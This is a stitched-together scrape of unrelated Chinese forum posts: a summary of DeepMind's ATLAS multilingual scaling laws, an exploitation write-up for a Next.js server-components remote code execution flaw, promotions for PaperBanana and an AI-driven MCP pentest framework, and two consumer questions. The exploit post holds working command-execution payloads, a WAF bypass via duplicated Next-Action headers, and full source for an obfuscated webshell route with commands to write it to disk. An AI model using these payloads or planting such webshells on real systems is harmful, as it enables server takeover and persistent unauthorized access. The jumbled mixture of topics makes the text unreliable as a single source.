谷歌 DeepMind 的研究人员提出了ATLAS,这是一套针对多语言语言模型的缩放定律,用于形式化描述随着支持语言数量的增加,模型规模、训练数据量以及语言组合之间如何相互作用。该研究基于 774 次受控训练实验,模型参数规模从 1000 万到 80 亿不等,使用覆盖 400 多种语言的多语言训练数据,并在 48 种目标语言上评估模型性能。 现有的大多数缩放定律主要来源于仅使用英语或单一语言的训练设置,因此对于多语言训练的模型只能提供有限的指导。ATLAS 在此基础上进行了扩展,显式建模了跨语言迁移以及由多语言训练引入的效率权衡。该框架不再假设新增语言会产生统一影响,而是估计在训练过程中,单个语言如何促进或干扰其他语言的性能表现。 ATLAS 的核心是一种跨语言迁移矩阵,用于衡量在一种语言上训练对另一种语言性能的影响。分析结果表明,正向迁移与共享书写系统和语言家族高度相关。例如,斯堪的纳维亚语言之间表现出明显的相互增益,而马来语和印尼语则构成了一个高迁移效率的语言对。英语、法语和西班牙语则表现为广泛有益的源语言,这很可能与其数据规模和多样性有关,但这种迁移效应并不具备对称性。 ATLAS 通过将训练语言数量与模型规模和数据量一并纳入建模,扩展了传统的缩放定律。它量化了所谓的“多语言诅咒”:在模型容量固定的情况下,随着支持语言数量的增加,每种语言的性能会下降。实验结果表明,在保持性能不变的前提下,若语言数量翻倍,模型规模需增加约 1.18 倍,总训练数据量需增加约 1.66 倍;而正向的跨语言迁移可以在一定程度上抵消单语言数据减少所带来的性能下降。 该研究还分析了在不同条件下,是从零开始预训练一个多语言模型,还是在已有多语言模型检查点上进行微调更为有效。结果显示,在较低 token 预算下,微调在计算效率上更具优势;而当训练数据和计算资源超过某一与语言相关的阈值后,从头预训练反而更有利。对于 20 亿参数规模的模型,这一拐点通常出现在约 1440 亿到 2830 亿 token 之间,为根据可用资源选择训练策略提供了实用参考。 此次发布也引发了关于替代模型架构的讨论。一位 X 用户评论道: 与其训练一个在每种语言上都使用大量冗余数据的超大模型,一个纯粹用于翻译的模型需要多大规模?这样又能让基础模型缩小多少? 尽管 ATLAS 并未直接回答这一问题,但其提供的迁移测量结果和缩放规则,为探索模块化或专用化的多语言模型设计奠定了定量基础。 原文链接:
漏洞刚出来,就有反转反转,最终经过测试,总结了一些利用方式
npm create next-app@16.0.6 react -y
npm run dev经过参考网上的payload,我在实际利用过程中进行了一些细微的改造,让它利用起来更加舒服。
注:lc.com为本地hosts映射的本地IP,非公网服务器,请勿随意对公网服务器进行攻击
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('【命令】').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}常规payload,回显在响应头部


这种payload比较清晰明了,但是如果执行的命令是返回多行的,就不凑效了,因为不能给响应头的值设置成多行的,可以将多行命令拼接成一行,不过构造命令挺麻烦的,于是就有了payload2
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('【命令】').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
将返回内容进行base64解码得到多行结果

为了方便输入复杂的命令,这里把输入的命令也进行base64编码进行传输,这里测试callback的代码,也可以完美执行。
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync(Buffer.from('【base64编码的命令】','base64').toString()).toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
但是像这种耗时命令会因为同步执行被阻塞住,这类命令后台都是返回500的,如果是执行反弹shell,这种可能会直接卡住。

我这里执行ping 127.0.0.1 -t让他阻塞住,我现在后面发送的请求都不会有响应,因为被阻塞住了

因此又有了payload-3
exec可以不阻塞执行命令,即使ping 127.0.0.1 -t,也能继续执行后续操作,但是也有个弊端,无法直接返回执行结果,因此可以搭配callback网站使用,请求会立即返回一个对象,命令执行结果返回到callback里面
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').exec(Buffer.from('【base64编码命令】','base64').toString()).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

实际测试过程中,我遇到过一些waf,目前遇到的,我只要两个方法就能直接绕过。
注:下面测试的站点不存在此漏洞,只为演示绕过waf
首先第一个位置绕过,正常发送直接被拦了

删内容,找到关键拦截点,经过测试,第一个点是在这个payload位置

这个位置常规使用脏数据可以绕过大部分的waf了

然后第二处就是关键头部,Next-Action是必须要的,如果没有这个头部,将无法执行命令


但是只要有这个头部,就直接被拦住了,很明显waf专门针对这个漏洞进行了规则配置

我尝试了脏数据,添加一堆头部,加到装不下了,也绕过不了

最后经过尝试,只需要重复Next-Action就行了,猜测应是读取头部指定键时,如果存在多个指定键,会报错,或者waf判断的是这个键的数量是不是1

且双写头部,是可以正常执行命令的

写木马也有坑点,无论是写linux的还是windows的
写木马最好是用base64编码来写,这样子可以减少需要转义的字符
shell代码如下:
import { NextResponse } from 'next/server';
import { exec } from 'child_process';
// GET 请求处理(仅从URL参数获取参数)
export async function GET(request) {
return new Promise((resolve) => {
try {
// 从URL参数获取demo和b64参数
const { searchParams } = new URL(request.url);
const demo = searchParams.get('demo');
const b64 = searchParams.get('b64'); // 获取b64参数,判断是否解码
// 校验demo参数是否存在
if (!demo) {
resolve(NextResponse.json(
{ error: '缺少demo参数' },
{ status: 400 }
));
return;
}
// 根据b64参数判断是否解码:b64=1时解码,否则直接使用原始内容
const command = b64 === '1'
? Buffer.from(demo, 'base64').toString('utf-8')
: demo;
// 执行命令
exec(command, (error, stdout, stderr) => {
if (error) {
console.error('执行错误:', error);
resolve(NextResponse.json(
{ error: '执行失败', message: error.message },
{ status: 500 }
));
return;
}
const result = (stdout || stderr).toString().trim();
resolve(new NextResponse(result, {
status: 200,
headers: {
'Content-Type': 'text/plain; charset=utf-8',
},
}));
});
} catch (error) {
console.error('参数处理错误:', error);
resolve(NextResponse.json(
{ error: '执行失败', message: error.message },
{ status: 500 }
));
}
});
}
// POST 请求处理(支持URL参数 + FormData格式body)
export async function POST(request) {
return new Promise(async (resolve) => {
try {
// 1. 优先从URL参数获取demo和b64参数
const { searchParams } = new URL(request.url);
let demo = searchParams.get('demo');
let b64 = searchParams.get('b64');
// 2. URL参数不存在时,从FormData格式的body获取
if (!demo) {
const formData = await request.formData();
demo = formData.get('demo');
// 同时从body获取b64参数(兼容body传b64的场景)
if (!b64) b64 = formData.get('b64');
}
// 3. 校验demo参数是否存在
if (!demo) {
resolve(NextResponse.json(
{ error: '缺少demo参数' },
{ status: 400 }
));
return;
}
// 根据b64参数判断是否解码:b64=1时解码,否则直接使用原始内容
const command = b64 === '1'
? Buffer.from(demo, 'base64').toString('utf-8')
: demo;
// 执行命令
exec(command, (error, stdout, stderr) => {
if (error) {
console.error('执行错误:', error);
resolve(NextResponse.json(
{ error: '执行失败', message: error.message },
{ status: 500 }
));
return;
}
const result = (stdout || stderr).toString().trim();
resolve(new NextResponse(result, {
status: 200,
headers: {
'Content-Type': 'text/plain; charset=utf-8',
},
}));
});
} catch (error) {
console.error('参数处理错误:', error);
resolve(NextResponse.json(
{ error: '执行失败', message: error.message },
{ status: 500 }
));
}
});
}首先对shell文件进行压缩混淆,增加被发现难度,我用JavaScript/Html在线格式化-Js/Html压缩-Js加密压缩工具,先压缩后混淆

使用命令写入,先从windows开始踩坑,需要执行的命令如下:
mkdir E:\漏洞测试环境\create-next-app\app\api\shell && echo [压缩后的代码] > E:\漏洞测试环境\create-next-app\app\api\shell\route.js 这个命令是发送到服务器执行的代码,99%是会报错的,因为压缩后的代码依旧存在大量cmd已经定义的符号。&、>、<等,需要统一替换代码中的这些特殊符号,在前面加一个 ^进行转义才能真正写入
未转移在cmd执行会因为各种符号报错,我示例这里直接echo输出shell代码

转义后再次执行,这次没报错了

linux因为可以使用EOF,轻松多了,但是如果你使用base64编码后的命令,可能会出现你写入的文件名不对的问题
mkdir -p /home/lc/Public/bugtest/react/app/api/shell && cat << 'EOF' > /home/lc/Public/bugtest/react/app/api/shell/route.js
[shell代码]
EOF
这里乍一看都是一样的文件名,其中一个是我通过漏洞写入的,但是怎么会有一样的文件名呢?
切管理员上帝视角看一下,很明显看到第二个我用漏洞写入的文件后面是有特殊符号的

其实是因为window和linux换行符的原因,windown用的CRLF,linux是LF,所以因为换行符不一致导致编码后多出不可见符号,解决方法很简单,如图,把输入字符串改成LF,然后把文件名后面的CR删掉就可以了(代码的CR删不删都行,不影响)

最终效果:
这里我把传参由demo改成了minl,

也可以base64编码命令

文中我用到的工具我也上传了github,自己写的,不是专业开发,可能会有小bug,遇到欢迎提
谷歌发布学术插图生成工具--PaperBanana
主要特点:
🌟 类人工作流程:检索 🔍 - 计划 📝 - 风格 🎨 - 渲染 🖼️ - 评论 🔄 。既保证了学术严谨性,又兼顾了美观性。
🌟 多功能:支持说明性图表和统计图表。
🌟 润色:对润色现有的人工绘制的图表也有效。
AutoRedTeam-Orchestrator 是一个基于 Model Context Protocol (MCP) 的 AI 驱动自动化渗透测试框架。
它将 101 个安全工具 封装为 MCP 工具,可与支持 MCP 的 AI 编辑器 (Claude Code, Cursor, Windsurf, Kiro, Claude Desktop) 无缝集成,实现自然语言驱动的自动化安全测试。
简单说:配置好之后,直接跟 AI 说「帮我扫描 xxx.com 的漏洞」就行了
| 指标 | 数量 |
|---|---|
| MCP 工具 | 101 |
| Payload 库 | 2,000+ |
| 测试用例 | 1,461 |
| 漏洞检测器 | 19 |
| 特性 | 传统工具 | AutoRedTeam-Orchestrator |
|---|---|---|
| 交互方式 | 命令行记忆 | 自然语言对话 |
| 学习成本 | 高(需记忆大量参数) | 低(AI 自动选择工具) |
| 工具整合 | 手动切换工具 | 101 工具统一接口 |
| 攻击链规划 | 人工规划 | MCTS 算法 + 知识图谱 |
| 误报过滤 | 人工验证 | OOB + 统计学验证 |
| 报告生成 | 手动编写 | 一键生成专业报告 |
| 会话管理 | 无 | 支持断点续传 |
| 安全性 | 各工具独立 | MCP 安全中间件统一防护 |
最早是在用 HexStrike,还参与过二次开发,和 #96 分支作者 Ynee 也有过深入交流。
后来在社区找到了 HexStrike 原作者,但他似乎遇到了一些生活上的困难,项目更新明显放缓了。
与其等待,不如自己动手。正好使用中也积累了一些想法:
为什么非得在 Kali 上跑? → 做成 Windows 原生,Linux 也兼容
为什么不能和 AI 编辑器联动? → 基于 MCP 协议,Claude Code 直接调用
为什么工具这么分散? → 101 个工具整合到一起
于是就有了这个项目。
语言 Python 3.10+
协议 MCP (Model Context Protocol)
并发 asyncio / httpx / aiohttp
算法 MCTS 蒙特卡洛树搜索
存储 内存图存储 / SQLite
安全 输入验证 / 速率限制 / 操作授权
CLI 工具:
Claude Code (终端)
Gemini CLI
Codex CLI(道德感严重 )
iFlow CLI
IDE / 桌面端:
Cursor
Windsurf
Kiro
Claude Desktop
VS Code (with MCP extension)
基本上只要能跑 MCP 的 IDE/CLI 都可以用这个项目
结果案例:
codex扫描时间过长我停了,具体各位佬可以重新测试一下
欢迎 Star 和 PR!
本工具仅限以下场景使用:
授权渗透测试
红队安全评估
安全研究学习
CTF 竞赛
严禁用于:
未经授权测试他人系统
任何非法用途
使用本工具造成的任何法律后果由使用者自行承担。
狗头保命,希望大家合法合规使用~
第一次在 L 站发自己的项目,有问题欢迎回帖讨论,也可以去 GitHub 发 Issue 或者按项目里的邮箱联系我,看到就会回复。
希望大家共同进步,也请各位师傅斧正!
目前系统版本 ios26.2 ,由于充电比较方便,手机购买后电量都没低于 20%过,昨天外出忘了充电,电量低开启省电模式才发现这个问题。目前 ios26 优化也太拉了吧!
最好同时能暖手脚, 平时冬天就会手脚冰冷. 试过足浴盆不行. 有啥能长时间给身体供暖(特别是手脚)的电器?
谢谢
能抓耗子的猫就是好猫。